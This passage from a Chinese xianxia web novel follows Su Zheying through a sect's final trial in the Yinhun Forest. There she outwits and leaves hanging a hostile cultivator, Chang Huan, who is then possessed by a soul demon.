漱玉是不往下坠了,但苏折映的双手还在郁秋冥腰上。
经他这么一提,苏折映这才注意到,隔着衣料都能感觉到小师弟劲瘦的腰身,想不到小师弟不仅看着高挑,腰也如此……
“师姐若是没摸够,可以继续。”
苏折映回神,瞬间收了双手,这次倒是换她嘀咕着“男女有别”“有悖人理”了。
尽管郁秋冥没说什么,但她耳根子依旧不争气地热了起来。
苏折映状似不经意地撩了撩耳边的青丝,将热意挡去。
这下苏折映真就老老实实地——
用五指紧握住袖子。
郁秋冥又是一笑,气的。
简直是恨铁不成钢!
*
尽管两人中途有过一段小插曲,但最后到汇武场时,万俟霜也没追上来。
待修士们快到齐时,三人才踩着金塔钟声姗姗来迟。
万俟霜背着手走到两人身前,却很巧妙地隔出些距离,她轻咳一声,若无其事道:“你们走得这般快作甚?我们都追不上了。”
苏折映挑起眉梢,耳根的热度此时尽数褪去,她装得比万俟霜还要若无其事,戏谑地盯着万俟霜道:“追不上?”
若是万俟霜和燕珩追不上她倒是可以理解,但江清野也追不上?
只怕是有什么猫腻。
万俟霜被她盯得有些发怵,背在身后的手勾在一起,指尖都要捏出汗了,还是硬着头皮道:“……当然了,想不到苏公子御剑之术竟如此了得。”
苏折映狭长的双眸眯起,一旁的郁秋冥却是微微翘起嘴角,道:“万俟小姐谬赞。”
又是两下金塔钟声,一个威严的中年声音在上方响起。
“肃静——”
众人一下被吸走了视线,一个个安静下来,苏折映几人也望过去。
方无澈一身黑色宗主服,广袖上几道暗红的烈焰状花纹从袖摆延伸至袖口处,前襟还印着万象宗独有的图腾标识——
一只涅槃的凤凰。
黑色衣襟上,它昂着头,两翼大展,像是要冲破天际,周身甚至纹上了点点银光。
方无澈身后还站着齐风和一位青年模样的玄衣男子,他抱臂站在一旁,姿态甚是随意。
苏折映看去时,他亦是将目光落在了她身上,两人视线相撞,他苍白着脸,眉目阴柔,阴恻恻地咧开了嘴。
那眼神,竟是比阴魂林界的噬人妖还要让她浑身发麻。
殿前,方无澈从袖中拿出一个黄色卷轴,抛向上空,金光乍现,那展开后一方小小的绸缎便眨眼间化作一片金黄漩涡,落在汇武场的前方。
漩涡口玄气磅礴,金光之中又略显幽暗的紫色,一看便知是同向阴魂林界的,还没靠近就能感受到漩涡口处强劲的吸力。
方无言澈扬声道:“今日终试,诸位通过此轴前往阴魂林界,届时会有一位长老陪同前往监察。而规则便是在阴魂林界的三日中,以猎杀妖兽数量和品质为准计分排名,诸位只管杀便是,木牌会记录下你们所杀的妖兽。”
那么也就不存在抢别人的木牌将计分划归到自己身上一说了。
谁杀了妖兽,这积分就是谁的。
齐风适时出手,漩涡旁便又聚起星点,缓缓化成字——
低等妖兽计五。
中等妖兽计十。
高等妖兽计二十。
凶兽计五十。
苏折映扫了一眼,只觉得万象宗不愧是万象宗,老奸巨猾。
虽然写着低等妖兽,但阴魂林界中可向来没有低等一说,随便拎一个出去就够这些修士喝一壶的了,更别想着“中等妖兽”了。
她当年屠的没金蛇都已是大陆中高阶妖兽的存在了,而在阴魂林界不过是其他妖兽的一顿口粮。
何其凶险,不言而喻了。
“至于具
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体的妖兽划分,待诸位平安出来后由宗门定夺。”齐风补充道,“可还有问题?”
“有!”
前面有个女修出声,她一身行头朴素的很,不知是低调还是真就如此。
“敢问长老,终试陪同前往的不是有两位长老吗?为何成一位了?”
经她一说,其他修士这才发现方无澈说的是一位长老,纷纷点头附和。
齐风神色一滞,偏下头低声道:“宗主,这……”
这是方无澈今早突然决定的,原是两位长老,分别是他和黎清沅,但今早临时告知他们无需再去,理由是何他们也是不知。
方无澈抚掌一笑,向众人介绍身旁的玄衣男子:“这位便是陪同的长老莫枭,此次终试他一人便可。”
修士们纷纷看向他。
莫枭脸上挂着阴柔的笑,他向前迈出一步,玄空初期的威压瞬间倾泻而出,汇武场中的修士皆是身体一沉,不少人没抵住跪了下去。
苏折映也感觉到了那股强势的力量,狠狠地压向她双肩,甚至无形地敲击着她的膝部。
也亏得是两道双修,混元将是大成,这才能挺着腰板站着。
但其他人就没这么容易了。
郁秋冥微垂着头,一手紧紧握着漱玉剑柄,手背青筋浮现,带着颤。
显然在极力控制自己不被那威压影响。
万俟霜也是弯下腰,额间冒汗,骂道:“什么鸟长老?!有病吧?”
相对而言,江清野倒是表现得倒是轻松不少,他扶着离自己最近的燕珩。
人群中接连而出的跪地声让莫枭满意地点头,这才缓缓收回了威压。
这下,让原来还带着点质疑的人彻底不敢说话了。
最后,方无澈又提醒道:“既然诸位没有问题了,那便入卷轴吧。不过,提醒一句,莫长老只是监察,诸位的福祸生死,他并不负责。”
苏折映轻笑,说白了就是到现场看个热闹。
莫枭从殿前飞身而下,落在漩涡前,他抚着袖,阴恻恻道:“诸位随我进去吧。”
他带着头,先一步踏进漩涡,玄色身影便消失在汇武场中。
后面的修士犹豫一下,也咬牙跟上,但双腿却是止不住地打颤。
万俟霜感慨道:“怕死还来万象宗。那么多宗门势力,选什么不好,偏选了个最不是人的。”
苏折映勾唇,“谁让万象宗如今风头正盛呢。”
郁氏颠覆一事后,其他三宗害怕成为下一个郁孤王朝,几乎都是隐去了锋芒,唯独这万象宗敢在此时趁势出风头。
就是不知是背后有人借胆,还是凶手不自怕了。
前方的修士陆陆续续进去,很快便到了他们,江清野最先进去,燕珩在次,万俟霜也兴冲冲跟进去。
苏折映晃到漩涡口,刚踏进去一只脚,就被郁秋冥拉住,她回头,疑惑道:“怎么了?”
“进入后,会被强制分散开吗?”
苏折映理所应当道:“那是自然。”
郁秋冥:“……”
罢了。
他问木头做什么。
不开窍就是不开窍。
郁秋冥眸色沉沉,看了她半晌,最终越过她,直直踏入漩涡中。
不开窍,那就瓢开好了。
26. 魂妖
偌大的汇武场中只剩苏折映站在漩涡前,不用看她便可以感受到有两道视线落在自己身上,带着点探究和……
热切?
苏折映暗自摇头,他们或许已经被方无澈盯上了。
面前的巨型漩涡闪着的光暗淡了些,连带着漩涡也跟着一起缩小。
苏折映在漩涡将要关闭之前踏了进去。
就在踏入的一瞬间,一股直冲脑门的眩晕感让苏折映忍不住伸手抵着太阳穴,面前大片刺眼的白光照得她眼睛生疼。
简直比传送阵还要折磨人。
她闭上眼,待那阵眩晕感消失,苏折映便觉到扑面而来的阴凉气,一滴粘稠的东西滴落到她面颊上,她睁开眼,面前是茂密的红树林。
她抹去脸上的粘液,那是只生长在阴魂林界的赤枫树树叶分泌的,树叶酷似枫叶,但又大相径庭。
赤枫树比普通枫树高大很多,只是树干就有三四人合抱之粗,而树叶分泌的东西却又可以解去很多种毒素,放在大陆也是万人哄抢的存在。
但因为这粘液在阴魂林界几乎随处可见,以至于没人什么知道,甚至将它当做了毒液,避之不及。
大片的红叶遮天蔽日,明明是早晨,这里却像个永夜一般。
这便是阴魂林界。
但并没有外界传闻一般有多么神秘。
苏折映踩着地上被这里的妖兽踏出来的空地,打量一圈。
周围几乎都是赤枫树和一些灵植草药,看样子是在最外围。
眼下被他们被强制分离开来,所有的传讯法器在阴魂林界都将失灵,苏折映倒是不着急找他们。
她对万俟霜所言的那个秘境还挺好起的,从她记事时便知道阴魂林界从未出现过秘境,传闻是这里太过偏僻,许多大能修士更愿意将自己的传承秘境搁置在几个离宗门近些的地方,也好更容易寻到自己满意的传承者。
可这个秘境却反其道而行之,偏偏就放在了阴魂林界。
苏折映沿着脚底下干净的地方往红树林深处走,越是往里,弥漫在周身的紫色瘴气便越浓郁。
只是还没走多久,便听见瘴气里一声巨吼:“别过来——”
苏折映脚步一顿,还真就停下了。
前面瘴气重得已经看不清人影树形,周身都是紫灰一片。
她刚站定,就有听那道声音叫道:“这是什么鬼东西?!别过来!!救命啊——”
瘴气中逐渐飘来淡淡的血腥味,苏折映了然,一道灰雾打出,她周身的瘴气被打散一片,算是勉强看清了些。
一个黄色身影正四仰八叉在地上爬动,整个衣衫都快要被黑乎乎的粘液给染了去,他身旁还丢着一把晃瞎人眼的剑鞘。
苏折映上前几步,认出来此人正是无月城找事的鼠眼修士。
一身泥泞能认出来还要多亏了他那金灿灿的剑鞘,只是没想到这人居然还过了初试。
而他口中的鬼东西正在他身前的树上掉挂着,似人非人,像个无手无脚的空衣衫垂在树枝上,红艳艳的长袍轻飘飘荡在空中,衣摆上还沾着黑稠的粘液。
鼠眼修士后退一步,那红衣衫便跟着飘忽到另一颗离得近的树上,他一停下,鲜红长袖便如无尽长的红绸一般冲来。
他整个人都趴俯在地,头也不回地冲着头往前爬去。
直到满眼乌黑的视线里映进一双白净的长靴,细致的纹理勾出一层层花边,上面还缀着几颗小小的青珠。
常桓向前的身子一顿,顺着这双长靴抬眼看去,就见一个漂亮又眼熟的女修正笑吟吟低头盯着自己。
生死当前,常桓哪还来得及思索,瞬间身影宛如个泥鳅似的窜到苏折映身后,漏出个脑袋,指着不远处的红衣,惊恐道:“救救我!它!只要你把这东西杀了,灵草法器我都能给!”
“草药法器?”
苏折映拉开些距离,一手认真思考起来,好像在考量他说的真假。
鼠眼修士见状眼神一亮,立马道:“对!我是菩提宗地界常家的二公子常桓!常家听过吧?你说的我都能给!”
“常家?”
苏折映回过头,扫过地上的人,她一拍脑袋,一副恍然大悟的模样,笑道:“没听过呢。”
常桓刚升起的希冀在听到她的话后瞬间灭掉,连常家都没听过,一看就是没见过世面的,能有什么实力?
他瞬间捡回了自己的高傲,怒冲冲抬头想去指使一番,却撞进一双潋滟的桃花眸,眉梢微微上扬,正漾着笑意。
常桓登时冷静下来,认出自己求的人是谁,眼珠瞪得比铜铃还圆,锐声道:“是你?!”
苏折映挑眉道:“是我。”
常桓缓缓从地上站起来,嫌弃地拍了拍衣服,但上面的粘液却是纹丝不动,他打量一番苏折映,道:“哼,无月城时没能教训你,没想到会在这遇上。正好,今日你若是能除了这东西,本少爷便不与你计较了。”
不与她计较了?
还真是见什么人说什么话。
苏折映嗤笑一声,比划着树上的红衣,缓缓道:“可我只有入境修为,如何能除了这妖物?”
不过是几句话的功夫,那鲜红长袖便开始继续上下舞动,朝着两人窜来。
常桓鼠眼一斜,不动声色地伸手靠近,趁苏折映不注意猛地将她推向红衣,阴狠道:“除不了便当它的腹中之物吧!也算是积德了!”
这一推,常桓可是用上了十成的力量,就是决心要将苏折映置之死地!
顺着这股劲儿,苏折映轻飘飘倒向窜来的红袖,看到鲜艳的红绸带掠向她,常桓眼神一亮,转身便要逃走。
殊不知红绸在抵达苏折映的耳边时,微微一偏,擦着她的脸颊直冲常桓!
身为世家纨绔,常桓多少还是有点实力在身上的,感受到身后的簌簌风声,他手疾眼快向下趴去,顺势滚到一侧将红绸避开。
常桓摔了个狗啃泥,眼下是彻底看不出衣服原本的模样了。
常桓两手撑地,跪趴起来,偏头就看见那柔软的红绸似铁一般笔直埋入地下,他不禁惊出一身冷汗,双腿又开始发软了。
苏折映就站在原地一动不动,待地里的红绸将要出来时,她负过手悄悄放出一道混元气,压得红绸动弹不得。
最外围的魂妖还没那么机灵,就如现在这只,只知道附在死人衣物中,攀附在树上。
见活人,出水袖,掠生魂。
这是内围魂妖。
而外围——
不掠生魂,只夺钱财。
最喜明黄之物,常常会与外围的没金蛇争夺金银财宝,但通常被它们连衣带魂赶出了蛇洞。
倒不是没金蛇不杀,而是魂妖非魂灭则不死,没金蛇哪有灭妖魂的能力,自是除不掉,只得将这些魂妖赶得远远的。
外围的魂妖对人没有什么威胁,也算是阴魂林界唯一不用避着的了,不过偶尔出来吓唬人。
若不是这常家人穿得晃眼,这只魂妖怕是不屑于看他一眼。
地上,常桓虚着身体站起来,他红着眼瞪向苏折映,质问道:“你为何将这东西引过来?!你是想害死老子吗!”
苏折映低头,双肩轻颤着,像是被吓着一般,她弱声道:“不是公子你先推的我吗?”
“我推你你就受着!”
常桓怒气上涌,脸色几度变幻,注意
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打埋进地里的红绸没了动静,他警惕观望了许久,以为是自己将妖物给制住了,向回头去捡佩剑,只见方才丢剑的地方空荡荡的,连带着那晃瞎人眼的剑鞘也一齐消失在原地。
他又怒视苏折映,伸出一只手,不耐道:“拔本少爷的剑还来!”
苏折映嗤笑一声,理都没理,越过常桓向他身侧的赤枫树走去,她停在树前,茂密的红叶下勾挂着一大块红布衫,华丽的裙面上缀着不少金银,但也只是零碎的部件,红色水袖向前延伸,一直到那边的地里。
她右手下意识朝斜后侧摸去,想拔剑却摸了个空,才想起来到小师弟不在,自己又没有佩剑。
还真抽顺手了。
自顾自笑了一声,苏折映玄气化刃,直接斩了那对鲜红长袖,挂着的红衣左右晃动几下,原本还鲜艳的颜色,此时再看就明显变暗了许多。
外围魂妖几乎都把魂体附在了双袖,一来方便攻击,二来方便护好“身上”的财宝。
斩下双袖,苏折映捏着上下疯狂舞动的红袖子,面不改色地搓成一团,丢进了乾坤袋。
苏折映转头便要走,常桓还傻怔在一旁,见她将妖物收起来,顿时拦住了她,嘲讽道:“没想到你这女修贪图财宝不说,连这积分都想据为己有。”
苏折映顿住,她勾起唇,将常桓从头看到脚,最终满意地点点头。
她笑得恶劣,让常桓莫名想起来最近大陆传闻的那个喜欢恶趣味的溟川屿少主,不禁打了个冷颤。
忽然,常桓眼前一花,回过神时便已经被吊在了半空。
位置恰恰是那个挂红衣的地方,暗红的衣面遮在身前,刚好掩住了他大半个身子。
赤枫树本就高大,红衣的位置也自是不低,眼下常桓被吊在了半空又被红衣遮去大半,若是没人经过这里,他这次阴魂林界之行,真就有去无回了。
看着自己慢慢死亡可比直接杀掉有意思多了。
他若不招惹她,她也不会这么做。
可偏偏常桓招惹了两次。
临走前,苏折映又转过身,笑吟吟道:“对了,常二公子,你的佩剑是被你身前的那块红衣吞掉的呢。”
闻言,被吊着的常桓惊恐地瞪起眼,他双手被反绑在身后,就连脚也被绑在了一起,嘴巴上还被红布严严实实贴着,只能扭动着四肢,发出些呜呜声。
苏折映心情极好,勾起腰间的吊坠在指尖打圈,林间铃声清脆,只留给常桓一抹青色的背影。
人影潇洒远去,常桓的噩梦才刚开始。
一股阴风吹在他颈间,铃音消失,只剩红叶之间簌簌的摩擦声。
常桓死死闭上眼,却感觉到背后有什么阴凉的东西接近他。
在他的身后,从深处伸出的几只深紫色触手正缓缓朝他靠近。
直到贴近他的后背,触手轻抚着他的背,吓得常桓一个激灵,像个猴似的荡起来,试图甩掉后背诡异的物体。
那触手像是黏在上面一般,甚至开始不断扩大,直至覆盖住他整个后背!
常桓的呜咽声更大了,双眼充血膨胀,胸口亦是跟着剧烈起伏。
随着他的挣扎,深紫色的触手开始变淡,贴着他的后背缓缓融进了他的身体。
四周的红叶被风吹下大片,常桓不断神色扭曲,最后一声呜咽落下,他毫无生气地垂下头。
后背的触手了无踪影,阴风歇下,周遭一下便静了下来。
地上的红叶多得像是裹了层红布,几乎要将黑稠的粘液全部盖住。
须臾,吊着常桓的红布毫无征兆地脱落,常桓落到地上。
原本死寂着的人,眼皮一颤,而后缓缓睁开了眼。